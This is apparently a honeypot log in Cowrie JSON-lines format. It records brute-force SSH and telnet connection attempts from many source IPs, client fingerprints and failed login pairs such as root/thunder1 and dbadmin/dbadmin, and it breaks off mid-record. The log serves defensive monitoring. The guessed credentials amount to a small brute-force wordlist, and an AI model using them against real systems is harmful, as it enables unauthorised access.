{"eventid":"cowrie.session.connect","src_ip":"185.207.107.77","src_port":48796,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e595ff0007b","protocol":"ssh","message":"New connection: 185.207.107.77:48796 (10.17.0.5:22) [session: 1e595ff0007b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:52.913740Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:52.917379Z","src_ip":"185.207.107.77","session":"1e595ff0007b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:53.004697Z","src_ip":"185.207.107.77","session":"1e595ff0007b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"skale","password":"skale2024","message":"login attempt [skale/skale2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:53.268052Z","src_ip":"185.207.107.77","session":"1e595ff0007b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:54.357142Z","src_ip":"185.207.107.77","session":"1e595ff0007b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41430,"dst_ip":"159.203.135.109","dst_port":23,"session":"19b8400bcf74","protocol":"telnet","message":"New connection: 170.64.224.25:41430 (159.203.135.109:23) [session: 19b8400bcf74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:06:59.333470Z"}
{"eventid":"cowrie.session.closed","duration":37.6957106590271,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:00.240736Z","src_ip":"107.150.146.69","session":"b6926a529752","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.16163992881775,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:01.360092Z","src_ip":"170.64.224.25","session":"33149ab75f80","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.955068826675415,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:11.336500Z","src_ip":"170.64.224.25","session":"55681410eaee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"95.130.227.33","src_port":54258,"dst_ip":"10.17.0.5","dst_port":22,"session":"bf32e10e3e5b","protocol":"ssh","message":"New connection: 95.130.227.33:54258 (10.17.0.5:22) [session: bf32e10e3e5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:24.639507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:24.644502Z","src_ip":"95.130.227.33","session":"bf32e10e3e5b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:24.830364Z","src_ip":"95.130.227.33","session":"bf32e10e3e5b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin2022","message":"login attempt [root/@dmin2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:25.553944Z","src_ip":"95.130.227.33","session":"bf32e10e3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:26.726888Z","src_ip":"95.130.227.33","session":"bf32e10e3e5b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":55248,"dst_ip":"159.203.135.109","dst_port":23,"session":"9d9b1b9782a5","protocol":"telnet","message":"New connection: 170.64.224.25:55248 (159.203.135.109:23) [session: 9d9b1b9782a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:30.681994Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":53468,"dst_ip":"10.17.0.5","dst_port":22,"session":"73d452b74307","protocol":"ssh","message":"New connection: 144.91.108.61:53468 (10.17.0.5:22) [session: 73d452b74307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:41.210453Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:41.214356Z","src_ip":"144.91.108.61","session":"73d452b74307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:41.307801Z","src_ip":"144.91.108.61","session":"73d452b74307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Arb1trum0rb1t$Tr0ng","message":"login attempt [root/Arb1trum0rb1t$Tr0ng] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:41.590481Z","src_ip":"144.91.108.61","session":"73d452b74307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:42.686506Z","src_ip":"144.91.108.61","session":"73d452b74307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00160050392151,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:43.558609Z","src_ip":"170.64.224.25","session":"a71dc569d7d7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.99772000312805,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:49.331062Z","src_ip":"170.64.224.25","session":"19b8400bcf74","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.126.22.12","src_port":52150,"dst_ip":"159.203.135.109","dst_port":22,"session":"9dcf57d85db1","protocol":"ssh","message":"New connection: 101.126.22.12:52150 (159.203.135.109:22) [session: 9dcf57d85db1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:49.953049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:51.313479Z","src_ip":"101.126.22.12","session":"9dcf57d85db1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:51.316632Z","src_ip":"101.126.22.12","session":"9dcf57d85db1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"thunder1","message":"login attempt [root/thunder1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:52.699570Z","src_ip":"101.126.22.12","session":"9dcf57d85db1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"191.7.26.153","src_port":47750,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0fa2a563e46","protocol":"ssh","message":"New connection: 191.7.26.153:47750 (159.203.135.109:22) [session: c0fa2a563e46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:54.486609Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:54.492427Z","src_ip":"191.7.26.153","session":"c0fa2a563e46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:54.607424Z","src_ip":"191.7.26.153","session":"c0fa2a563e46","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"dbadmin","message":"login attempt [dbadmin/dbadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:55.105591Z","src_ip":"191.7.26.153","session":"c0fa2a563e46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":24.76030731201172,"message":"Connection lost after 24 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:55.442131Z","src_ip":"170.64.224.25","session":"9d9b1b9782a5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:07:56.223965Z","src_ip":"191.7.26.153","session":"c0fa2a563e46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":41346,"dst_ip":"159.203.135.109","dst_port":23,"session":"6baaf7e4acd0","protocol":"telnet","message":"New connection: 170.64.224.25:41346 (159.203.135.109:23) [session: 6baaf7e4acd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:12.812654Z"}
{"eventid":"cowrie.session.connect","src_ip":"181.218.9.86","src_port":59210,"dst_ip":"159.203.135.109","dst_port":22,"session":"088dd2278906","protocol":"ssh","message":"New connection: 181.218.9.86:59210 (159.203.135.109:22) [session: 088dd2278906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:23.011623Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:23.015494Z","src_ip":"181.218.9.86","session":"088dd2278906","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:23.162247Z","src_ip":"181.218.9.86","session":"088dd2278906","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2008china","message":"login attempt [root/2008china] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:23.778821Z","src_ip":"181.218.9.86","session":"088dd2278906","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:24.926034Z","src_ip":"181.218.9.86","session":"088dd2278906","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.75.11","src_port":33216,"dst_ip":"159.203.135.109","dst_port":22,"session":"adaf5909958b","protocol":"ssh","message":"New connection: 161.97.75.11:33216 (159.203.135.109:22) [session: adaf5909958b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:25.043218Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:25.046731Z","src_ip":"161.97.75.11","session":"adaf5909958b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:25.137782Z","src_ip":"161.97.75.11","session":"adaf5909958b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"scroll456","message":"login attempt [root/scroll456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:25.416216Z","src_ip":"161.97.75.11","session":"adaf5909958b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:26.510578Z","src_ip":"161.97.75.11","session":"adaf5909958b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":44034,"dst_ip":"159.203.135.109","dst_port":22,"session":"82f9cbdab930","protocol":"ssh","message":"New connection: 87.251.79.125:44034 (159.203.135.109:22) [session: 82f9cbdab930]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:44.651833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:08:44.656063Z","src_ip":"87.251.79.125","session":"82f9cbdab930","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 